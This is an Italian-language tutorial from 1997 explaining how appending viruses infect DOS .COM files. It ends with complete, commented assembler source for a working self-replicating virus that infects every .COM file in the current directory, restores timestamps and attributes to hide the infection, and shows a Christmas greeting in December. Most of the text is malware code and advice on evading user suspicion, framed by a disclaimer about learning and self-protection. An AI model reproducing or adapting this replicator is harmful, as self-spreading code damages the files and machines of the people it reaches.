VIRUS



Questa volta parleremo dei virus, quei simpatici programmini che ti ritrovi
per caso sul tuo Hard Disk e che  mandano in crisi il tuo PC.
Ora, tutto quello che spigherò in questo tutorial non deve essere usato per
scrivere nuovi e più potenti virus ma solo per imparare l'arte della
programmazione in Assembler e anche per imparare a proteggersi da questo 
genere di attacchi.
Quindi non mi ritengo responsabile degli eventuali danni che apporterete al
vostro computer o a quello dei vostri amici. Stateci attenti.
Vedremo  solo virus in grado di infettare i file .COM anche se oggi
non se ne trovano più tanti (di file COM!), in particolare tratterò gli
appending viruses, cioè quelli che si agganciano alla fine del file senza
distruggerlo.

Un virus è composto principalmente da due parti : il replicatore e la
cosiddetta "bomb".
Il replicatore è quella parte del programma virus che permette a quest'ultimo
di replicarsi in modo da infettare quanti più file possibile, la bomb è la parte
più divertente ed è quella che svolge l'operazione per cui e stato designato il
virus questa va dalla semplice visualizzazione di un messaggio alla distruzione
della FAT area, dipende solo dalla fantasia del programmatore.

IL REPLICATORE
Il compito del replicatore come abbiamo già detto è quello di duplicarsi
infettando altri files.
Come si può fare?
Consideriamo un pgm (.COM) esso pu� essere scomposto in 2 parti:

    +---+-----------+
    |P1 |     P2    |      vittima.com
    +---+-----------+

Anche il virus essendo un pgm può essere cosi diviso:

    +---+---------+
    |V1 |     V2  |      virus.com
    +---+---------+

I passi che il virus deve eseguire per replicarsi sono i seguenti:

1.Il virus salva P1 in fondo al file vittima.com e al suo posto ci copia V1,
  avremo la seguente situazione:

   +---+------------+---+
   |V1 |    P2      |P1 |
   +---+------------+---+

2.Ora il virus copia la seconda parte (V2) in fondo al file:

  +---+-------------+---+---------+
  |V1 |     P2      |P1 |   V2    |
  +---+-------------+---+---------+

Vi starete chiedendo che ca.. c'è dentro V1 e V2.
Il compito di V1 è quello di passare il controllo a V2 e consiste in un salto,
così quando eseguo il programma infetto la prima cosa che si fa è saltare al
codice del virus contenuta in V2. Una volta eseguito V2 il controllo torna al
programma.
Semplice vero? Beh non proprio.
Vediamo meglio quali sono i passi che deve svolgere il replicatore per infettare
un file:

1.Cerca il file da infettare
2.Controlla se è già infetto
3.Se si torna a 1
4.Infettalo!!
5.Torna a 1 oppure esci se na hai abbastanza

Vediamole nel dettaglio:

PASSO 1 - Cerco il file da infettare
Si può decidere se cercare i file solo nella directory corrente oppure cambiare
dir. per avere più possibilità di diffondersi.
Cercare in piu' directory può rallentare l'esecuzione del programma al quale è
attaccato e può quindi sollevare sospetti nell'utente, quindi state attenti.
Per cercare un file devo ricorrere al DTA (Disk Transfer Area) che è una
struttura del DOS (Andatela a vedere in qualche Tech. Ref.), il codice può
essere una cosa del tipo:

        mov     ah,1Ah                  ;Prende il DTA e lo mette in 
        lea     dx,[bp+OFFSET DTA]      ;una variabile di nome DTA (!!)
        int     21h

        mov     ah,4Eh                  ;cerca il primo file
        mov     cx,0007h                ;Qualsiasi attributo
        lea     dx,[bp+OFFSET file_mask];DS:[DX] --> file_mask
        int     21h
        jc      non_trovato             ;non l'ha trovato

ancora: call    controlla_infezione     ;guarda se è gia infetto e se non lo
                                        ;è lo infetta
        mov     ah,4Fh                  ;cerca il prox
        int     21h
        jnc     ancora
non_trovato:

In questo frammento file_mask pu� essere '*.*' '*.EXE' o come useremo noi
'*.COM'.


PASSO 2 - Controlla se è già infetto
Un metodo abbastanza semplice per sapere se un file è già infetto o meno è
di memorizzare un ID durante l'infezione in modo da poterlo trovare la volta
successiva.
Ad esempio:

        mov     ah,3Fh                  ;legge i primi 4 byte del file
        mov     cx,4                    ;e li mette in buffer
        lea     dx,[bp+OFFSET buffer]
        int     21h

        cmp     byte ptr [buffe+3],ID_Byte; controllo il 4 byte
        je      gia_fatto               ;se sono uguali è già infetto
infettalo:....

Un altro modo più complesso è quello di cerca una serie di istruzioni
caratteristiche del virus.

PASSO 3 - Infettalo!!!
Questa è la parte piu' difficile e importante: il cuore del replicatore.
Una volta trovato il file da infettare si devono salvare i suoi attributi, la
data, l'ora e la dimensione. Questi dati si trovano nel DTA come spiegato nella:
tabella seguente:

        Offset  Dimensione      Significato
        -------------------------------------------
        0h      21 bytes        Riservati (?)
        15h     byte            Attributi del file
        16h     word            ora
        18h     word            data
        20h     dword           dimensione
        1Eh     13bytes         nome(ASCIIZ) + estensione

Come vedete nel DTA si trovano tutte le info necessarie, e per salvarle basta:

        lea     si,[bp+OFFSET DTA+15]
        mov     cx,9
        lea     di,[bp+OFFSET f_attr]
        rep     movsb
        ;varibili:
f_attr  db      ?
f_time  dw      ?
f_date  dw      ?
f_size  dd      ?

Per poter infettare i file di systema, quelli nascosti ecc... dovete resettare
gli attributi tramite l'int 21h,43h,01h.
Una volta fatto ciò potete aprire il file in lettura/scrittura ed effettuare
l'infezione.

Dopo aver infettato il file ( e lo vedremo nel dettaglio con un esempio) è
importante cancellare le tracce dell'infezione ripristinando la data e l'ora e
reimpostando gli attributi originali:

        mov     ax,57,01h
        mov     dx,WORD PTR [bp+f_date]
        mov     cx,WORD PTR [bp+f_time]
        int     21h     ;ripristina data e ora

        mov     ah,4301h
        lea     dx,[bp+OFFSET DTA + 1Eh]
        xor     ch,ch
        mov     cl,BYTE PTR [bp+f_attrib]
        int     21h     ;ripristina gli attributi

Al solito per capire meglio il tutto vi presento un semplice virus.


;virus.asm - b0nu$, 1997
;NB - Non mi assumo responsabilità sui danni causati da un uso incorretto di
;questo pgm.
;
;Si attiva solo nel mese di Dicembre e visualizza gli auguri di Natale

code    segment byte public
        assume  cs:code,ds:code,es:code,ss:code
        
        org     100h                            ;file .COM

start:
        db 0E9h,0,0                             ;Salta al prox comando

virus:
        call    inizio                          ;Salva l'indirizzo nello stack
inizio:
        pop     bp                                ;Setta BP
        sub     bp,offset inizio                
        lea     si,[bp+offset oldjump]            ;Indirizzo vecchio
        mov     di,100h                           

                                                  ;Salvo dove metterlo
        push    di                                ;cosi possiamo ritornare
        movsb                                     
        movsb
        movsb

        lea     dx,[bp+offset dta]                ;Indirizzo del nuovo DTA
                                                  
        mov     ah,1ah                            ;setta il DTA!!
        int     21h

        lea     dx,[bp+offset comfilespec]
        call    findfirst                       ;cerca e infetta i file .com

        call    get_month               ;Controlla in che mese siamo
        cmp     ax,000Ch                ;E' 12?
        jne     skip                    ;Se no salta gli auguri
        jmp     short strt              ;Si � Dicembre !
skip:   jmp     dend                     ;Salta la routine
strt:   lea     si,[bp + testo]         ;SI punta al testo da scrivere
        mov     ah,0Eh                  ;Uso l'int 10h,0Eh per stampare
        
disp:   lodsb                           ;Carico il carattere
        or      al,al                   ;Se � 0 � finita
        je      dend             
        int     010h                    ;visualizzo il car
        jmp     short disp              ;prendo il prox carattere

dend:

        mov     dx,80h                  ;Indirizzo del DTA originale
                                        ;Lo rimetto dov'era
        mov     ah,1ah                  ;setta il DTA!!
        int     21h

        retn                                    ;Ritorno al pgm 

findfirst:
        mov     ah,4eh                          ;trova il primo file
        mov     cx,7                            ;con questi attributi

findnext:
        int     21h                             ;Trovo il prox
        jc      quit                            ;Se non trovo niente smetto

        call    infection                       ;Altrimenti infetto

Findnext2:
        mov     ah,4fh                          ;Cerco il prox
        jmp     findnext                        ;Ciclo 

quit:
        ret                                     ;stop!

infection:
        mov     ax,3d00h                        ;Apro il file in lettura
        call    open


        mov     cx,1ah
        lea     dx,[bp+offset buffer]           ;salvo i dati
        mov     ah,3fh                          ;Leggo
        int     21h

        mov     ah,3eh                          ;chiudo il file
        int     21h


CheckCom:
        mov     bx,[bp+offset dta+1ah]            ;Prelevo la dimensione
        mov     cx,word ptr [bp+buffer+1]         ;prelevo l'indirizzo del salto
        add     cx,eof-virus+3                    ;e ci sommo la lunghezza del
                                                  ;virus

        cmp     bx,cx                             ;controllo dimensione 
        jz      quitinfect                       
        jmp     infectcom

quitinfect:
        ret

InfectCom:
        sub     bx,3                              ;setto per il nuovo salto     
        lea     di,[bp+oldjump]
        lea     si,[bp+buffer]
        movsw
        movsb
        mov     [bp+buffer],byte ptr 0e9h
        mov     word ptr [bp+buffer+1],bx         ;salvo 

        mov     cx,3                              ;numero di byte da scrivere

        jmp     finishinfection
FinishInfection:
        push    cx                                ;salvo il numero di byte
                                                  ;da scrivere
        xor     cx,cx                             ;azzero attributi
        call    attributes

        mov     al,2                              ;apro il file in lett/scritt
        call    open


        lea     dx,[bp+buffer]                    ;dx punta ai dati
        pop     cx                                ;cx=numero byte 
        mov     ah,40h                            ;scrivo 
        int     21h                               
        jc      closefile

        mov     al,02                             ;sposto il puntatore in fondo
        Call    move_fp


        mov     cx,eof-virus                      ;dimensione virus
        lea     dx,[bp+offset virus]              ;indirizzo di inizio
        mov     ah,40h                            ;scrivo il virus
        int     21h

closefile:
        mov     ax,5701h                          ;ripristina ora e data
        mov     dx,word ptr [bp+dta+18h]          
        mov     cx,word ptr [bp+dta+16h]          ;sono ne DTA!!
        int     21h

        mov     ah,3eh                            ;chiudo il file
        int     21h

        xor     cx,cx
        mov     cl,byte ptr [bp+dta+15h]          ;Prendo i vecchi attrib.
        call    attributes

        retn

move_fp:
                                                  ;muove il  puntatore
        xor     cx,cx                             ;del file ad al
        xor     dx,dx                             ;
        mov     ah,42h
        int     21h
        retn

open:

        lea     dx,[bp+DTA+30]                    ;il nome � nel DTA
        mov     ah,3dh                            ;apre il file
        int     21h
        xchg    ax,bx                             ;bx contine l'handle
        ret

attributes:

        lea     dx,[bp+DTA+30]                    
        mov     ax,4301h                          ; setta gli attrib.
        int     21h
        ret
        

get_month       proc    near
                mov     ah,02Ah                 ;Preleva la data
                int     021h
                mov     al,dh                   ;al=mese
                cbw                             ;estende ad ax
                ret                             
get_month       endp


testo           db      13,10,13,10,"Boun Natale a tutti !!!",13,10,0

comfilespec     db  '*.com',0                    ;file da cercare
oldjump         db  090h,0CDh,020h                 ;Vecchio jump

eof     equ     $                                ;Segna la fine del file

buffer          db      1Ah dup(?)
dta             db      42  dup(?)

code            ends
                end     start


Il programma mi sembra già abbastanza commentato quindi non spenderò 
altro tempo per rispiegarvi cose già dette. 
Vi prego ancora una volta di stare attenti a giocare con questi pgm. 



** [email protected] **